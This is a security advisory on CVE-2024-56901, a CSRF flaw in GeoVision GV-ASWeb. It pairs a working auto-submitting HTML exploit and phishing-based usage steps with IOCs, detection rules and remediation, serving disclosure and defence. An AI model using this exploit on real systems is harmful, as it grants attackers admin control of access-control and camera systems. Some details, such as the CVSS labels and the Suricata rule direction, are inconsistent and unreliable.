CVE-2024-56901

Executive Summary

CVE-2024-56901 is a critical Cross-Site Request Forgery (CSRF) vulnerability in Geovision GV-ASWeb application (version 6.1.1.0 or less). The flaw allows an attacker to forge a GET request that, when executed by an authenticated administrator, creates a new administrator account. This attack is chained with CVE-2024-56903 (which allows converting POST requests to GET) to bypass any CSRF token protections. Successful exploitation grants the attacker full administrative access to the GV-ASWeb suite, including ASWeb, TAWeb, VMWeb, and the underlying ASManager software. This can lead to complete compromise of physical access control systems, surveillance cameras, and sensitive personnel data.

Supply Chain & Package Security

This is a proprietary on-premise application, not an open-source package. No supply chain or package security implications apply.

CVSS Breakdown & Threat Level

CVSS Score: 8.8 (High)

• Attack Vector (AV): Network (N) – The attacker can trigger the exploit remotely.
• Attack Complexity (AC): Low (L) – No special conditions required beyond a valid session.
• Privileges Required (PR): None (N) – The attacker does not need prior authentication.
• User Interaction (UI): Required (R) – The victim must click a crafted link or visit a malicious page.
• Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) – Full access to camera feeds, access logs, and personnel data.
• Integrity (I): High (H) – Ability to create, modify, or delete accounts and configurations.
• Availability (A): High (H) – Can disrupt or disconnect surveillance and access control services.

Threat Level: Critical due to the potential for physical security bypass and data exfiltration.

Deep Dive & Mechanics

The GV-ASWeb application fails to validate the origin or authenticity of HTTP requests. The ASWebCommon.srf endpoint accepts a GET request with parameters to create a new user account. The action parameter is set to UA_SetCreateAccount, and the level parameter set to 2 grants administrator privileges.

The attack chain works as follows:

1. The attacker crafts a malicious HTML page containing a form that submits a GET request to the vulnerable endpoint.
2. The form auto-submits via JavaScript (document.forms[0].submit()).
3. The victim, who is an authenticated administrator, visits the attacker's page.
4. The browser sends the forged request, including the victim's session cookies (due to same-origin policy limitations, but the request is sent cross-origin).
5. The server processes the request and creates a new administrator account without any CSRF token or origin check.

CVE-2024-56903 is used to convert any POST-based actions to GET, bypassing potential CSRF tokens that might be present in POST requests.

Vulnerable vs. Patched Code

Vulnerable Code (GV-ASWeb <= 6.1.1.0): The ASWebCommon.srf endpoint does not implement any CSRF protection. It accepts GET requests for account creation without verifying a nonce or origin header.

GET /ASWeb/bin/ASWebCommon.srf?action=UA_SetCreateAccount&id=attacker&password=Pass123!&email=attacker@example.com&level=2 HTTP/1.1
Host: target
Cookie: session=valid_admin_session

Patched Code (Hypothetical): A patched version would:

• Reject GET requests for state-changing operations.
• Require a CSRF token (nonce) that is validated server-side.
• Check the Origin or Referer header to ensure the request originates from the same application.

POST /ASWeb/bin/ASWebCommon.srf HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded
Cookie: session=valid_admin_session
X-CSRF-Token: abc123

action=UA_SetCreateAccount&id=attacker&password=Pass123!&email=attacker@example.com&level=2&csrf_token=abc123

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• Target running GV-ASWeb <= 6.1.1.0
• Network access to the target (internal or exposed)
• An authenticated administrator session (victim)

Exploit Code (from Exploit-DB):

<html>
  <body>
    <form action="https://[TARGET]/ASWeb/bin/ASWebCommon.srf">
      <input type="hidden" name="action" value="UA&#95;SetCreateAccount" />
      <input type="hidden" name="id" value="Malicious" />
      <input type="hidden" name="password" value="Youarecracked999&#33;" />
      <input type="hidden" name="email" value="Malicious&#64;geovision&#46;com&#46;tw" />
      <input type="hidden" name="level" value="2" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

Usage:

1. Replace [TARGET] with the IP or domain of the GV-ASWeb server.
2. Host this HTML file on an attacker-controlled server (e.g., using python3 -m http.server 8080).
3. Send the link to an authenticated administrator (e.g., via phishing email).
4. Once the victim visits the page, the form auto-submits, creating a new admin account with username Malicious and password Youarecracked999!.
5. Log in with the new credentials to gain full access.

Chaining with CVE-2024-56903: If the target application requires POST requests for account creation, use CVE-2024-56903 to convert the request to GET. The exploit code above already uses GET.

Blue Team (Defense & Detection)

Detection Steps:

1. Monitor for unusual GET requests to /ASWeb/bin/ASWebCommon.srf with action=UA_SetCreateAccount.
2. Alert on creation of new accounts, especially with level=2 (administrator).
3. Review web server logs for requests with suspicious Referer headers (e.g., from external domains).
4. Implement CSRF tokens and validate the Origin header.

Honeypot: Deploy a decoy GV-ASWeb instance and monitor for any account creation attempts. Log all IPs and user agents.

Indicators of Compromise (IOCs)

• Network IOCs:
  • GET requests to /ASWeb/bin/ASWebCommon.srf with parameters action=UA_SetCreateAccount, id, password, email, level=2.
  • Requests with Referer header not matching the legitimate application domain.
• Host IOCs:
  • New user accounts in the GV-ASWeb database with level=2 (administrator).
  • Unusual entries in web server access logs (e.g., GET /ASWeb/bin/ASWebCommon.srf?action=UA_SetCreateAccount...).
• File IOCs:
  • Presence of malicious HTML files on the victim's machine (if downloaded).
• Behavioral IOCs:
  • Administrator account creation outside of normal business hours.
  • Multiple failed login attempts followed by successful login from a new admin account.

Detection Engineering

YARA Rule

rule CVE_2024_56901_CSRF_Exploit {
    meta:
        description = "Detects HTML payloads used to exploit CVE-2024-56901 CSRF in GeoVision GV-ASWeb"
        author = "Valters IT"
        date = "2025-02-02"
        reference = "https://github.com/DRAGOWN/CVE-2024-56901"
    strings:
        $s1 = "ASWebCommon.srf" nocase
        $s2 = "UA_SetCreateAccount" nocase
        $s3 = "level=2" nocase
        $s4 = "document.forms[0].submit()" nocase
    condition:
        all of ($s1, $s2, $s3, $s4)
}

Sigma Rule

title: CVE-2024-56901 CSRF Account Creation
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests attempting to exploit CVE-2024-56901 to create admin accounts
author: Valters IT
date: 2025-02-02
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 
            - 'action=UA_SetCreateAccount'
            - 'level=2'
    condition: selection
falsepositives:
    - Legitimate admin account creation (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-56901 GeoVision GV-ASWeb CSRF Account Creation"; flow:to_server,established; content:"GET"; http_method; content:"/ASWeb/bin/ASWebCommon.srf"; http_uri; content:"action=UA_SetCreateAccount"; http_uri; content:"level=2"; http_uri; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the GV-ASWeb application from the internet if exposed. Restrict access to trusted internal networks only.
2. Implement CSRF protection by adding a unique, per-session token to all state-changing requests. Validate the token server-side.
3. Enforce POST requests for all account creation and modification operations. Reject GET requests for such actions.
4. Enable SameSite cookies (set to Lax or Strict) to prevent cross-origin cookie sending.
5. Monitor logs for suspicious account creation events and investigate immediately.

Long-Term Fixes:

• Apply vendor patch when available. Contact Geovision support for updates.
• Upgrade to a patched version (if released) or consider replacing the product with a more secure alternative.
• Conduct a security audit of the entire GV-ASWeb suite to identify other vulnerabilities.

Workaround:

• Use a Web Application Firewall (WAF) to block requests to /ASWeb/bin/ASWebCommon.srf with action=UA_SetCreateAccount unless they originate from the same domain and include a valid CSRF token.

Valters IT

{/* [Security Hash: 47B66EA45C43BAF94A931963] */}